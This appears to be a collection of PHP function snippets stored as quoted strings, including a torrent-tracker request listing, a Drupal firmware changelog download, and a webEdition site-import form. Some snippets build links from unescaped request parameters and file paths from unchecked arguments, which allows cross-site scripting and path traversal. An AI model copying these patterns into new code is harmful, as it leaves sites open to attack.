{\n$oldlink = $oldlink . \"&\" . $get_name . \"=\" . $get_value;\n} else {\n$oldlink = $oldlink . $get_name . \"=\" . $get_value;\n}\n$count_get++;\n}\n\n}\n\nif ($count_get > 0) {\n$oldlink = $oldlink . \"&\";\n}\n\n\nif ($_GET['sort'] == \"1\") {\nif ($_GET['type'] == \"desc\") {\n$link1 = \"asc\";\n} else {\n$link1 = \"desc\";\n}\n}\n\nif ($_GET['sort'] == \"2\") {\nif ($_GET['type'] == \"desc\") {\n$link2 = \"asc\";\n} else {\n$link2 = \"desc\";\n}\n}\n\nif ($_GET['sort'] == \"3\") {\nif ($_GET['type'] == \"desc\") {\n$link3 = \"asc\";\n} else {\n$link3 = \"desc\";\n}\n}\n\nif ($_GET['sort'] == \"4\") {\nif ($_GET['type'] == \"desc\") {\n$link4 = \"asc\";\n} else {\n$link4 = \"desc\";\n}\n}\n\nif ($_GET['sort'] == \"5\") {\nif ($_GET['type'] == \"desc\") {\n$link5 = \"asc\";\n} else {\n$link5 = \"desc\";\n}\n}\n\nif ($_GET['sort'] == \"7\") {\nif ($_GET['type'] == \"desc\") {\n$link7 = \"asc\";\n} else {\n$link7 = \"desc\";\n}\n}\n\nif ($_GET['sort'] == \"8\") {\nif ($_GET['type'] == \"desc\") {\n$link8 = \"asc\";\n} else {\n$link8 = \"desc\";\n}\n}\n\nif ($_GET['sort'] == \"9\") {\nif ($_GET['type'] == \"desc\") {\n$link9 = \"asc\";\n} else {\n$link9 = \"desc\";\n}\n}\n\nif ($_GET['sort'] == \"10\") {\nif ($_GET['type'] == \"desc\") {\n$link10 = \"asc\";\n} else {\n$link10 = \"desc\";\n}\n}\n\nif (empty($link1)) { $link1 = \"asc\"; } // for torrent name\nif (empty($link2)) { $link2 = \"desc\"; }\nif (empty($link3)) { $link3 = \"desc\"; }\nif (empty($link4)) { $link4 = \"desc\"; }\nif (empty($link5)) { $link5 = \"desc\"; }\nif (empty($link7)) { $link7 = \"desc\"; }\nif (empty($link8)) { $link8 = \"desc\"; }\nif (empty($link9)) { $link9 = \"desc\"; }\nif (empty($link10)) { $link10 = \"desc\"; }\n\n?>\n<td class=\"colhead\" align=\"center\"><?=$tracker_lang['type'];?></td>\n<td class=\"colhead\" align=\"left\"><a href=\"detailsoff.php?<? print $oldlink; ?>sort=1&type=<? print $link1; ?>\" class=\"altlink_white\"><?=$tracker_lang['name'];?></a> / <a href=\"detailsoff.php?<? print $oldlink; ?>sort=4&type=<? print $link4; ?>\" class=\"altlink_white\"><?=$tracker_lang['added'];?></a></td>\n\n<td class=\"colhead\" align=\"center\"><a href=\"detailsoff.php?<? print $oldlink; ?>sort=2&type=<? print $link2; ?>\" class=\"altlink_white\">\n<img title=\"Сортировка по количеству файлов\" src=\"pic/browse/nimberfiles.gif\" border=\"0\">\n</a></td>\n<td class=\"colhead\" align=\"center\"><a href=\"detailsoff.php?<? print $oldlink; ?>sort=3&type=<? print $link3; ?>\" class=\"altlink_white\">\n<img title=\"Сортировка по количеству комментов\" src=\"pic/browse/comments.gif\" border=\"0\">\n</a></td>\n\n<td class=\"colhead\" align=\"center\"><a href=\"detailsoff.php?<? print $oldlink; ?>sort=5&type=<? print $link5; ?>\" >\n<img title=\"Сортировка по размеру\" src=\"pic/browse/size_file.gif\" border=\"0\">\n</a></td>\n\n<td class=\"colhead\" align=\"center\">Выполнено</td>\n<?\n\nif ($variant == \"index\" || $variant == \"bookmarks\")\n\tprint(\"<td class=\\\"colhead\\\" align=\\\"center\\\"><a href=\\\"detailsoff.php?{$oldlink}sort=9&type={$link9}\\\" class=\\\"altlink_white\\\">Запросил</a></td>\\n\");\n\nif ($variant == \"bookmarks\")\n\tprint(\"<td class=\\\"colhead\\\" align=\\\"center\\\">Запрос группы</td>\\n\");\n\nprint(\"</tr>\\n\");\n\nprint(\"<tbody id=\\\"highlighted\\\">\");\n\n\twhile ($row = mysql_fetch_assoc($res)) {\n\t\t$id = $row[\"id\"];\n\t\tprint(\"<tr>\\n\");\n\n\n// выделение релизов по дням\n\n/** Make some date varibles **/\n$day_added = $row['added'];\n$day_show = strtotime($day_added);\n$thisdate = date('Y-m-d',$day_show);\n\n///$numtorrents = number_format(get_row_count(\"torrents\", \"WHERE added LIKE '%\".$thisdate.\" %'\"));\n\n\n/** If date already exist, disable $cleandate varible **/\nif(isset($prevdate) && $thisdate==$prevdate){\n$cleandate = '';\n\n/** If date does not exist, make some varibles **/\n}else{\n$day_added = ''.date('Запросы, добавленные вl, j M Y года', strtotime($row['added'])); // You can change this to something else\n$cleandate = \"<tr><td colspan=15 class=colhead><b>$day_added</b></td></tr>\\n\"; // This also...\n}\n\n/** Prevent that \"torrents added...\" wont appear again with the same date **/\n$prevdate = $thisdate;\n\n$man = array('Jan' => 'Января','Feb' => 'Февраля','Mar' => 'Марта','Apr' => 'Апреля','May' => 'Мая','Jun' => 'Июня','Jul' => 'Июля','Aug' => 'Августа','Sep' => 'Сентября','Oct' => 'Октября','Nov' => 'Ноября','Dec' => 'Декабря');\n\nforeach($man as $eng => $ger){\n $cleandate = str_replace($eng, $ger,$cleandate);\n}\n\n$dag = array(\n 'Mon' => ' Понедельник',\n 'Tues' => 'о Вторник',\n 'Wednes' => ' Среду',\n 'Thurs' => ' Четверг',\n 'Fri' => ' Пятницу',\n 'Satur' => ' Субботу',\n 'Sun' => ' Воскресенье'\n);\n\nforeach($dag as $eng => $ger){\n $cleandate = str_replace($eng.'day', $ger.'',$cleandate);\n}\n/** If torrents not listed by added date **/\nif (isset($row[\"sticky\"]) && $row[\"sticky\"] == \"no\") // delete this line if you dont have sticky torrents or you want to display the addate for them also\nif(!$_GET['sort'] && !$_GET['d']){\n echo $cleandate.\"\\n\";\n}\n\n// выделение релизов по дням \n\n\n\n\t//\tprint(\"<td align=\\\"center\\\" style=\\\"padding: 0px\\\">\");\n\t\t\n\t\tprint(\"<tr>\");\nprint(\"<td align=\\\"center\\\" class=\\\"b\\\" rowspan=2 width=2% style=\\\"padding: 5px\\\">\"); \n\t\t\n\t\n\t $cat_id=$row[\"category\"];\n\t \n\t\tif (!empty($cat_sql[$cat_id][\"name\"])) {///$row[\"cat_name\"]\n\n $chstr = (!empty($_GET[\"search\"])? \"&search=\".htmlspecialchars($_GET[\"search\"]):\"\");\n\n\t\t\techo(\"<a href=\\\"browse.php?incldead=1&cat=\" . $row[\"category\"].$chstr.\"\\\">\");\n\t\t\t\n\t\t\tif (isset($cat_sql[$cat_id][\"image\"]) && !empty($cat_sql[$cat_id][\"image\"])){\n\t\t\t\t\n\t\t\t\tif ($_GET[\"sort\"]==\"6\")\n\t\t\t\techo(\"<img border=\\\"0\\\" src=\\\"\".$DEFAULTBASEURL.\"/pic/cats/\" . $cat_sql[$cat_id][\"image\"] . \"\\\" alt=\\\"\" . $cat_sql[$cat_id][\"name\"] . \"\\\" />\");\n\t\t\t\telse\n\t\t\t\techo(\"<img border=\\\"0\\\" src=\\\"\".$DEFAULTBASEURL.\"/pic/cats/\" . $cat_sql[$cat_id][\"image\"] . \"\\\" alt=\\\"\" . $cat_sql[$cat_id][\"name\"] . \"\\\" />\");\t\n\t\t\t}\n\t\t\telse\n\t\t\t\techo($cat_sql[$cat_id][\"name\"]);\n\t\t\t\t\n\t\t\techo(\"</a>\");\n\t\t}\n\t\telse\n\t\t\techo(\"-\");\n\t\t\t\n\t\tprint(\"</td>\\n\");\n\n\t\t\n\t\t$dispname = htmlspecialchars_uni($row['name']);\n //$dispname=strlen($dispname)>70?(substr($dispname,0,50).\"...\"):$dispname; \n\t\t\n\nprint(\"<td colspan=\\\"12\\\" class=\\\"b\\\" align=\\\"left\\\">\n \".($CURUSER ? \"<a href=\\\"detailsoff.php?\" : \"\").\"\");\n\n\n\t\tprint(\" \".($CURUSER ? \"id=$id\" : \"\").\" \");\n\t\tif ($variant == \"index\" || $variant == \"bookmarks\")\n\t\t\tprint(\" \".($CURUSER ? \"&amp;hit=1\" : \"\").\" \");\n\t\n\t\n\t\tprint(\"\".($CURUSER ? \"\\\">\" : \"\").\"<b><span title='\".$row[\"name\"].\"'>\".$dispname.\"<span></b>\".($CURUSER ? \"</a>\" : \"\").\"\\n\");\n\n$checkcomm=$row[\"checkcomm\"];\nif (empty($checkin[$id]))(\n $check = \"<a href=\\\"commentoff.php?action=check&amp;tid=$row[id]\\\"><img border=\\\"0\\\" src=\\\"pic/head2_2.gif\\\" alt=\\\"Включить слежение\\\" title=\\\"Включить слежение\\\" /></a>\") ;\n else\n $check = \"<a href=\\\"commentoff.php?action=checkoff&amp;tid=$row[id]\\\"><img class=effect onmouseover=\\\"this.className='effect1'\\\" onmouseout=\\\"this.className='effect'\\\" border=\\\"0\\\" src=\\\"pic/head2_2.gif\\\" alt=\\\"Отключить слежение\\\" title=\\\"Отключить слежение\\\" /></a>\";\n\n\nif ($variant == \"bookmarks\" && $CURUSER)\nprint(\"$check\\n\");\n\n\t\tif ($CURUSER[\"id\"] == $row[\"owner\"] || get_user_class() >= UC_MODERATOR)\n\t\t\t$owned = 1;\n\t\telse\n\t\t\t$owned = 0;\n///u.username AS user_n, u.class AS user_c, u.id AS user_i, torrents.name AS tor_name\n\t\tif ($owned)\n\t\t\tprint(\"<a href=\\\"detailsoff.php?id=$row[id]&edit=1\\\"><img border=\\\"0\\\" src=\\\"pic/pen.gif\\\" alt=\\\"\".$tracker_lang['edit'].\"\\\" title=\\\"\".$tracker_lang['edit'].\"\\\" /></a> \".($row[\"perform\"]==\"yes\" ? \"<b>Выполненный торрент</b>: <a href=\\\"details.php?id=$row[ful_id]\\\">\".$row[\"tor_name\"].\"</a>\" : \"\").\"\\n\");\n\nprint(\"</td></tr><tr>\");\nprint(\"<td class=\\\"row2\\\" align=\\\"left\\\" class=\\\"small\\\">\"); \nprint(\"<b>Добавлен</b>: \".timesec($row[\"added\"]).\"\");\n\n/*\n$rpic = ratingpic($row[\"rating\"]);\nif ($row[\"rating\"])\nprint\"&nbsp; <b>Оценка</b>: \".$row[\"rating\"].\"\";\nelse\nprint\"&nbsp; <b>Оценка</b>: нет\";\n*/\n///u.username AS user_n, u.class AS user_c, u.id AS user_i, torrents.name AS tor_name\n\nprint(\"\".($row[\"perform\"]==\"yes\" ? \"<br><b>Время выполнения</b>: \".$row[\"data_perf\"].\"\" : \"\").\" \\n\");\nprint(\"</td>\\n\");\nprint(\"<td class=\\\"row2\\\" align=\\\"center\\\">\" . $row[\"numfiles\"] . \"</td>\\n\");\n\t\n\t\t\tif (!$row[\"comments\"])\n\t\t\tprint(\"<td class=\\\"row2\\\" align=\\\"center\\\">\" . $row[\"comments\"] . \"</td>\\n\");\n\t\telse {\n\t\t\tif ($variant == \"index\")\n\t\t\t\tprint(\"<td class=\\\"row2\\\" align=\\\"center\\\"><b>\n\t\t\t\t\".($CURUSER ? \"<a href=\\\"detailsoff.php?id=$id&amp;hit=1&amp;tocomm=1\\\">\" : \"\").\"\n\t\t\t\t\t\t\t\n\t\t\t\t\" . $row[\"comments\"] . \"\n\t\t\t\t\n\t\t\t\t\".($CURUSER ? \"</a>\" : \"\").\"\n\t\t\t\t</b></td>\\n\");\n\t\t\telse\n\t\t\t\tprint(\"<td class=\\\"row2\\\" align=\\\"center\\\"><b><a href=\\\"detailsoff.php?id=$id&amp;page=0#startcomments\\\">\" . $row[\"comments\"] . \"</a></b></td>\\n\");\n\t\t}\n\t//\tprint(\"<td align=\\\"center\\\">\" . str_replace(\" \", \"<br />\", mksize($row[\"size\"])) . \"</td>\\n\");\n\nprint(\"<td class=\\\"row2\\\" align=\\\"center\\\">\" . str_replace(\" \", \" \", mksize($row[\"size\"])) . \"</td>\\n\");\n/// off_reqs.fulfilled,off_reqs.perform,\n///u.username AS user_n, u.class AS user_c, u.id AS user_i, torrents.name AS tor_name\nprint(\"<td class=\\\"row2\\\" align=\\\"center\\\">\");\nprint(\"\".($row[\"perform\"]==\"yes\" ? \"<a href=\\\"userdetails.php?id=\" . $row[\"user_i\"]. \"\\\"><b>\" . get_user_class_color($row[\"user_c\"], $row[\"user_n\"]) . \"</b></a>\" : \"нет\").\" \\n\");\nprint(\"</td>\");\n\n\t\tif ($variant == \"index\" || $variant == \"bookmarks\")\n\t\t\tprint(\"<td class=\\\"row2\\\" align=\\\"center\\\">\" . (isset($row[\"username\"]) ? (\"\n\t\t\t<a href=\\\"userdetails.php?id=\" . $row[\"owner\"] . \"\\\"><b>\" . get_user_class_color($row[\"class\"], htmlspecialchars_uni($row[\"username\"])) . \"</b></a>\n\t\t\t\") : \"<i>без автора</i>\") . \"</td>\\n\");\n\n\n$id_gro = (int) $row[\"groups\"];\n$groupe_cache=new MySQLCache(\"SELECT image,name FROM groups WHERE id=\".sqlesc($id_gro).\"\", 86400,\"details_groups-\".$id_gro.\".txt\"); // кеш один день\n$row=$groupe_cache->fetch_assoc();\n\n\n\t\t\tprint (\"<td class=\\\"row2\\\" align=\\\"center\\\">\".($row[\"image\"] ? \"<a title=\\\"К списку всех групп\\\" href=\\\"groups.php\\\"><img src=pic/groups/\" . $row[\"image\"] . \">\":\"нет\").\"</a></td>\");\n\n\n\n\n\nprint(\"</tr>\\n\");\n$oldday = (isset($day) ? $day:\"\"); // старая дата\n}\nprint(\"</tbody>\"); \n\nreturn (isset($rows) ? $rows:\"\");\n}", "function logger_firmwarelog_download($device_type_id, $version) {\n\n $file_name = 'ChangeLog.txt';\n drupal_add_http_header('Pragma', 'public');\n drupal_add_http_header('Content-Type', 'text/plain; charset=utf-8');\n drupal_add_http_header('Content-Disposition', \"attachment; filename=$file_name\");\n drupal_add_http_header('Cache-Control', 'public');\n\n $file_path = LOGGER_PATH . '/upgrades/versions/' . $device_type_id . '/' . $version . '/' . $file_name;\n if (file_exists($file_path)) {\n print file_get_contents($file_path);\n }\n exit(0);\n}", "public function export_addFilesFromSysFilesRecords() {}", "protected function executeExtTablesAdditionalFile() {}", "function createOverviewList($htmFileName,$filelist,$langList){\n\techo \"\\n\\n=============================\\n\";\n\techo \"Creating overview at $htmFileName\\n\";\n\techo \"=============================\\n\";\n\t$out = \"\";\n\t//loop through the files\n\tforeach ($filelist as $file){\n\t\t$filenamepart=explodeFile($file);\n\t\techo \"-----------------------------\\n\";\n\t\techo \"File $file\\n\";\n\t\techo \"-----------------------------\\n\";\n\t\techo \"* Reading original at $file\\n\";\n\t\t$out.=\"<h1>$file</h1>\";\n\t\t$out.=\"<h2>Original</h2>\";\n\t\t$out.=file_get_contents($file);\n\t\t$out.=htmlSeparator();\n\t\t//loop through the languages\n\t\tforeach ($langList as $key){\n\t\t\t$langFile=$filenamepart[0].\"$key/\".$filenamepart[1];\n\t\t\techo \"* Reading language $key at $langFile\\n\";\n\t\t\t$out.=\"<h2>Language: $key</h2>\";\n\t\t\t$out.=file_get_contents($langFile);\n\t\t\t$out.=htmlSeparator();\n\t\t}\n\t}\n\t$out=htmlHeader(\"Overview list\").$out.htmlFooter();\n\tfile_put_contents($htmFileName,$out);\n}", "function _getContentHTML()\n\t{\n\t\tinclude_once ($_SERVER['DOCUMENT_ROOT'] . \"/webEdition/we/include/we_classes/html/we_multibox.inc.php\");\n\t\tinclude_once ($_SERVER['DOCUMENT_ROOT'] . \"/webEdition/we/include/we_classes/html/we_htmlSelect.inc.php\");\n\t\tinclude_once ($_SERVER[\"DOCUMENT_ROOT\"] . \"/webEdition/we/include/we_classes/html/we_button.inc.php\");\n\t\t\n\t\t$we_button = new we_button();\n\t\t\n\t\t// Suorce Directory\n\t\t$_from_button = we_hasPerm(\"CAN_SELECT_EXTERNAL_FILES\") ? $we_button->create_button(\n\t\t\t\t\"select\", \n\t\t\t\t\"javascript:we_cmd('browse_server', 'document.we_form.elements[\\\\'from\\\\'].value', 'folder', document.we_form.elements['from'].value)\") : \"\";\n\t\t\n\t\t$_input = htmlTextInput(\"from\", 30, $this->from, \"\", \"readonly\", \"text\", 300);\n\t\t\n\t\t$_importFrom = htmlFormElementTable(\n\t\t\t\t$_input, \n\t\t\t\t$GLOBALS[\"l_siteimport\"][\"importFrom\"], \n\t\t\t\t\"left\", \n\t\t\t\t\"defaultfont\", \n\t\t\t\tgetPixel(10, 1), \n\t\t\t\t$_from_button, \n\t\t\t\t\"\", \n\t\t\t\t\"\", \n\t\t\t\t\"\", \n\t\t\t\t0);\n\t\t\n\t\t// Destination Directory\n\t\t$_to_button = $we_button->create_button(\n\t\t\t\t\"select\", \n\t\t\t\t\"javascript:we_cmd('openDirselector',document.we_form.elements['to'].value,'\" . FILE_TABLE . \"','document.we_form.elements[\\\\'to\\\\'].value','document.we_form.elements[\\\\'toPath\\\\'].value','','','0')\");\n\t\t\n\t\t//$_hidden = hidden(\"to\",$this->to);\n\t\t//$_input = htmlTextInput(\"toPath\",30,id_to_path($this->to),\"\",'readonly=\"readonly\"',\"text\",300);\n\t\t\n\n\t\t//$_importTo = htmlFormElementTable($_input, $GLOBALS[\"l_siteimport\"][\"importTo\"], \"left\", \"defaultfont\", getPixel(10, 1), $_to_button, $_hidden, \"\", \"\", 0);\n\t\t\n\n\t\t$yuiSuggest = & weSuggest::getInstance();\n\t\t$yuiSuggest->setAcId(\"DirPath\");\n\t\t$yuiSuggest->setContentType(\"folder\");\n\t\t$yuiSuggest->setInput(\"toPath\", id_to_path($this->to));\n\t\t$yuiSuggest->setLabel($GLOBALS[\"l_siteimport\"][\"importTo\"]);\n\t\t$yuiSuggest->setMaxResults(10);\n\t\t$yuiSuggest->setMayBeEmpty(0);\n\t\t$yuiSuggest->setResult(\"to\", $this->to);\n\t\t$yuiSuggest->setSelector(\"Dirselector\");\n\t\t$yuiSuggest->setWidth(300);\n\t\t$yuiSuggest->setSelectButton($_to_button, 10);\n\t\t\n\t\t$_importTo = $yuiSuggest->getYuiFiles() . $yuiSuggest->getHTML() . $yuiSuggest->getYuiCode();\n\t\t\n\t\t// Checkboxes\n\t\t\n\n\t\t$weoncklick = \"if(this.checked && (!this.form.elements['htmlPages'].checked)){this.form.elements['htmlPages'].checked = true;}\";\n\t\t$weoncklick .= ((!we_hasPerm(\"NEW_HTML\")) && we_hasPerm(\"NEW_WEBEDITIONSITE\")) ? \"if((!this.checked) && this.form.elements['htmlPages'].checked){this.form.elements['htmlPages'].checked = false;}\" : \"\";\n\t\t\n\t\t$_images = we_forms::checkboxWithHidden(\n\t\t\t\twe_hasPerm(\"NEW_GRAFIK\") ? $this->images : false, \n\t\t\t\t\"images\", \n\t\t\t\t$GLOBALS[\"l_siteimport\"][\"importImages\"], \n\t\t\t\tfalse, \n\t\t\t\t\"defaultfont\", \n\t\t\t\t\"\", \n\t\t\t\t!we_hasPerm(\"NEW_GRAFIK\"));\n\t\t\n\t\t$_htmlPages = we_forms::checkboxWithHidden(\n\t\t\t\twe_hasPerm(\"NEW_HTML\") ? $this->htmlPages : ((we_hasPerm(\"NEW_WEBEDITIONSITE\") && $this->createWePages) ? true : false), \n\t\t\t\t\"htmlPages\", \n\t\t\t\t$GLOBALS[\"l_siteimport\"][\"importHtmlPages\"], \n\t\t\t\tfalse, \n\t\t\t\t\"defaultfont\", \n\t\t\t\t\"if(this.checked){this.form.elements['_createWePages'].disabled=false;document.getElementById('label__createWePages').style.color='black';}else{this.form.elements['_createWePages'].disabled=true;document.getElementById('label__createWePages').style.color='gray';}\", \n\t\t\t\t!we_hasPerm(\"NEW_HTML\"));\n\t\t$_createWePages = we_forms::checkboxWithHidden(\n\t\t\t\twe_hasPerm(\"NEW_WEBEDITIONSITE\") ? $this->createWePages : false, \n\t\t\t\t\"createWePages\", \n\t\t\t\t$GLOBALS[\"l_siteimport\"][\"createWePages\"] . \"&nbsp;&nbsp;\", \n\t\t\t\tfalse, \n\t\t\t\t\"defaultfont\", \n\t\t\t\t$weoncklick, \n\t\t\t\t!we_hasPerm(\"NEW_WEBEDITIONSITE\"));\n\t\t$_flashmovies = we_forms::checkboxWithHidden(\n\t\t\t\twe_hasPerm(\"NEW_FLASH\") ? $this->flashmovies : false, \n\t\t\t\t\"flashmovies\", \n\t\t\t\t$GLOBALS[\"l_siteimport\"][\"importFlashmovies\"], \n\t\t\t\tfalse, \n\t\t\t\t\"defaultfont\", \n\t\t\t\t\"\", \n\t\t\t\t!we_hasPerm(\"NEW_FLASH\"));\n\t\t$_quicktime = we_forms::checkboxWithHidden(\n\t\t\t\twe_hasPerm(\"NEW_QUICKTIME\") ? $this->quicktime : false, \n\t\t\t\t\"quicktime\", \n\t\t\t\t$GLOBALS[\"l_siteimport\"][\"importQuicktime\"], \n\t\t\t\tfalse, \n\t\t\t\t\"defaultfont\", \n\t\t\t\t\"\", \n\t\t\t\t!we_hasPerm(\"NEW_QUICKTIME\"));\n\t\t$_jss = we_forms::checkboxWithHidden(\n\t\t\t\twe_hasPerm(\"NEW_JS\") ? $this->js : false, \n\t\t\t\t\"j\", \n\t\t\t\t$GLOBALS[\"l_siteimport\"][\"importJS\"], \n\t\t\t\tfalse, \n\t\t\t\t\"defaultfont\", \n\t\t\t\t\"\", \n\t\t\t\t!we_hasPerm(\"NEW_JS\"));\n\t\t$_css = we_forms::checkboxWithHidden(\n\t\t\t\twe_hasPerm(\"NEW_CSS\") ? $this->css : false, \n\t\t\t\t\"css\", \n\t\t\t\t$GLOBALS[\"l_siteimport\"][\"importCSS\"], \n\t\t\t\tfalse, \n\t\t\t\t\"defaultfont\", \n\t\t\t\t\"\", \n\t\t\t\t!we_hasPerm(\"NEW_CSS\"));\n\t\t$_text = we_forms::checkboxWithHidden(\n\t\t\t\twe_hasPerm(\"NEW_TEXT\") ? $this->text : false, \n\t\t\t\t\"text\", \n\t\t\t\t$GLOBALS[\"l_siteimport\"][\"importText\"], \n\t\t\t\tfalse, \n\t\t\t\t\"defaultfont\", \n\t\t\t\t\"\", \n\t\t\t\t!we_hasPerm(\"NEW_TEXT\"));\n\t\t$_others = we_forms::checkboxWithHidden(\n\t\t\t\twe_hasPerm(\"NEW_SONSTIGE\") ? $this->other : false, \n\t\t\t\t\"other\", \n\t\t\t\t$GLOBALS[\"l_siteimport\"][\"importOther\"], \n\t\t\t\tfalse, \n\t\t\t\t\"defaultfont\", \n\t\t\t\t\"\", \n\t\t\t\t!we_hasPerm(\"NEW_SONSTIGE\"));\n\t\t\n\t\t$_wePagesOptionButton = $we_button->create_button(\n\t\t\t\t\"preferences\", \n\t\t\t\t\"javascript:we_cmd('siteImportCreateWePageSettings')\", \n\t\t\t\ttrue, \n\t\t\t\t150, \n\t\t\t\t22, \n\t\t\t\t\"\", \n\t\t\t\t\"\", \n\t\t\t\tfalse, \n\t\t\t\ttrue, \n\t\t\t\t\"\", \n\t\t\t\ttrue);\n\t\t// Depth\n\t\t$_select = htmlSelect(\n\t\t\t\t\"depth\", \n\t\t\t\tarray(\n\t\t\t\t\t\n\t\t\t\t\t\t\"-1\" => $GLOBALS[\"l_siteimport\"][\"nolimit\"], \n\t\t\t\t\t\t0, \n\t\t\t\t\t\t1, \n\t\t\t\t\t\t2, \n\t\t\t\t\t\t3, \n\t\t\t\t\t\t4, \n\t\t\t\t\t\t5, \n\t\t\t\t\t\t6, \n\t\t\t\t\t\t7, \n\t\t\t\t\t\t8, \n\t\t\t\t\t\t9, \n\t\t\t\t\t\t10, \n\t\t\t\t\t\t11, \n\t\t\t\t\t\t12, \n\t\t\t\t\t\t13, \n\t\t\t\t\t\t14, \n\t\t\t\t\t\t15, \n\t\t\t\t\t\t16, \n\t\t\t\t\t\t17, \n\t\t\t\t\t\t18, \n\t\t\t\t\t\t19, \n\t\t\t\t\t\t20, \n\t\t\t\t\t\t21, \n\t\t\t\t\t\t22, \n\t\t\t\t\t\t23, \n\t\t\t\t\t\t24, \n\t\t\t\t\t\t25, \n\t\t\t\t\t\t26, \n\t\t\t\t\t\t27, \n\t\t\t\t\t\t28, \n\t\t\t\t\t\t29, \n\t\t\t\t\t\t30\n\t\t\t\t), \n\t\t\t\t1, \n\t\t\t\t$this->depth, \n\t\t\t\tfalse, \n\t\t\t\t\"\", \n\t\t\t\t\"value\", \n\t\t\t\t150);\n\t\t\n\t\t$_depth = htmlFormElementTable($_select, $GLOBALS[\"l_siteimport\"][\"depth\"]);\n\t\t$maxallowed = round(getMaxAllowedPacket($GLOBALS['DB_WE']) / (1024 * 1024));\n\t\t$maxallowed = $maxallowed ? $maxallowed : 20;\n\t\t$maxarray = array(\n\t\t\t\"0\" => $GLOBALS[\"l_siteimport\"][\"nolimit\"], \"0.5\" => \"0.5\"\n\t\t);\n\t\tfor ($i = 1; $i <= $maxallowed; $i++) {\n\t\t\t$maxarray[\"\" . $i] = $i;\n\t\t}\n\t\t\n\t\t// maxSize\n\t\t$_select = htmlSelect(\"maxSize\", $maxarray, 1, $this->maxSize, false, \"\", \"value\", 150);\n\t\t$_maxSize = htmlFormElementTable($_select, $GLOBALS[\"l_siteimport\"][\"maxSize\"]);\n\t\t\n\t\t$thumbsarray = array();\n\t\t$GLOBALS[\"DB_WE\"]->query(\"SELECT ID,Name FROM \" . THUMBNAILS_TABLE . \" ORDER BY Name\");\n\t\twhile ($GLOBALS[\"DB_WE\"]->next_record()) {\n\t\t\t$thumbsarray[$GLOBALS[\"DB_WE\"]->f(\"ID\")] = $GLOBALS[\"DB_WE\"]->f(\"Name\");\n\t\t}\n\t\t$_select = htmlSelect(\"thumbs[]\", $thumbsarray, 5, $this->thumbs, true, \"\", \"value\", 150);\n\t\t$_thumbs = htmlFormElementTable($_select, $GLOBALS[\"l_import_files\"][\"thumbnails\"]);\n\t\t\n\t\t$parts = array();\n\t\t\n\t\tarray_push(\n\t\t\t\t$parts, \n\t\t\t\tarray(\n\t\t\t\t\t\n\t\t\t\t\t\t\"headline\" => $GLOBALS[\"l_siteimport\"][\"dirs_headline\"], \n\t\t\t\t\t\t\"html\" => $_importFrom . getPixel(20, 5) . $_importTo, \n\t\t\t\t\t\t\"space\" => 120\n\t\t\t\t));\n\t\t\n\t\t/* Create Main Table */\n\t\t$_attr = array(\n\t\t\t\"border\" => \"0\", \"cellpadding\" => \"0\", \"cellspacing\" => \"0\"\n\t\t);\n\t\t$_tableObj = new we_htmlTable($_attr, 6, 3);\n\t\t\n\t\t$_tableObj->setCol(0, 0, array(\n\t\t\t\"colspan\" => \"2\"\n\t\t), $_images);\n\t\t$_tableObj->setCol(1, 0, array(\n\t\t\t\"colspan\" => \"2\"\n\t\t), $_flashmovies);\n\t\t$_tableObj->setCol(2, 0, array(\n\t\t\t\"colspan\" => \"2\"\n\t\t), $_htmlPages);\n\t\t$_tableObj->setCol(3, 0, null, \"\");\n\t\t$_tableObj->setCol(3, 1, null, $_createWePages);\n\t\t$_tableObj->setCol(4, 1, null, $_wePagesOptionButton);\n\t\t$_tableObj->setCol(5, 0, null, getPixel(20, 1));\n\t\t$_tableObj->setCol(5, 1, null, getPixel(200, 1));\n\t\t$_tableObj->setCol(5, 2, null, getPixel(180, 1));\n\t\t$_tableObj->setCol(0, 2, null, $_jss);\n\t\t$_tableObj->setCol(1, 2, null, $_css);\n\t\t$_tableObj->setCol(2, 2, null, $_text);\n\t\t$_tableObj->setCol(3, 2, null, $_others);\n\t\t$_tableObj->setCol(4, 2, array(\n\t\t\t\"valign\" => \"top\"\n\t\t), $_quicktime);\n\t\t\n\t\tarray_push(\n\t\t\t\t$parts, \n\t\t\t\tarray(\n\t\t\t\t\t\n\t\t\t\t\t\t\"headline\" => $GLOBALS[\"l_siteimport\"][\"import\"], \n\t\t\t\t\t\t\"html\" => $_tableObj->getHtmlCode(), \n\t\t\t\t\t\t\"space\" => 120\n\t\t\t\t));\n\t\t\n\t\t$_tableObj = new we_htmlTable($_attr, 2, 2);\n\t\t$_tableObj->setCol(0, 0, null, $_depth);\n\t\t$_tableObj->setCol(0, 1, null, $_maxSize);\n\t\t$_tableObj->setCol(1, 0, null, getPixel(220, 1));\n\t\t$_tableObj->setCol(1, 1, null, getPixel(180, 1));\n\t\t\n\t\tarray_push(\n\t\t\t\t$parts, \n\t\t\t\tarray(\n\t\t\t\t\t\n\t\t\t\t\t\t\"headline\" => $GLOBALS[\"l_siteimport\"][\"limits\"], \n\t\t\t\t\t\t\"html\" => $_tableObj->getHtmlCode(), \n\t\t\t\t\t\t\"space\" => 120\n\t\t\t\t));\n\t\t\n\t\t$content = htmlAlertAttentionBox($GLOBALS[\"l_import_files\"][\"sameName_expl\"], 2, \"410\");\n\t\t$content .= getPixel(200, 10);\n\t\t$content .= we_forms::radiobutton(\n\t\t\t\t\"overwrite\", \n\t\t\t\t($this->sameName == \"overwrite\"), \n\t\t\t\t\"sameName\", \n\t\t\t\t$GLOBALS[\"l_import_files\"][\"sameName_overwrite\"]);\n\t\t$content .= we_forms::radiobutton(\n\t\t\t\t\"rename\", \n\t\t\t\t($this->sameName == \"rename\"), \n\t\t\t\t\"sameName\", \n\t\t\t\t$GLOBALS[\"l_import_files\"][\"sameName_rename\"]);\n\t\t$content .= we_forms::radiobutton(\n\t\t\t\t\"nothing\", \n\t\t\t\t($this->sameName == \"nothing\"), \n\t\t\t\t\"sameName\", \n\t\t\t\t$GLOBALS[\"l_import_files\"][\"sameName_nothing\"]);\n\t\t\n\t\tarray_push(\n\t\t\t\t$parts, \n\t\t\t\tarray(\n\t\t\t\t\t\n\t\t\t\t\t\t\"headline\" => $GLOBALS[\"l_import_files\"][\"sameName_headline\"], \n\t\t\t\t\t\t\"html\" => $content, \n\t\t\t\t\t\t\"space\" => 120\n\t\t\t\t));\n\t\t\n\t\tif (we_hasPerm(\"NEW_GRAFIK\")) {\n\t\t\tarray_push(\n\t\t\t\t\t$parts, \n\t\t\t\t\tarray(\n\t\t\t\t\t\t\n\t\t\t\t\t\t\t'headline' => $GLOBALS[\"l_import_files\"][\"metadata\"] . '', \n\t\t\t\t\t\t\t'html' => 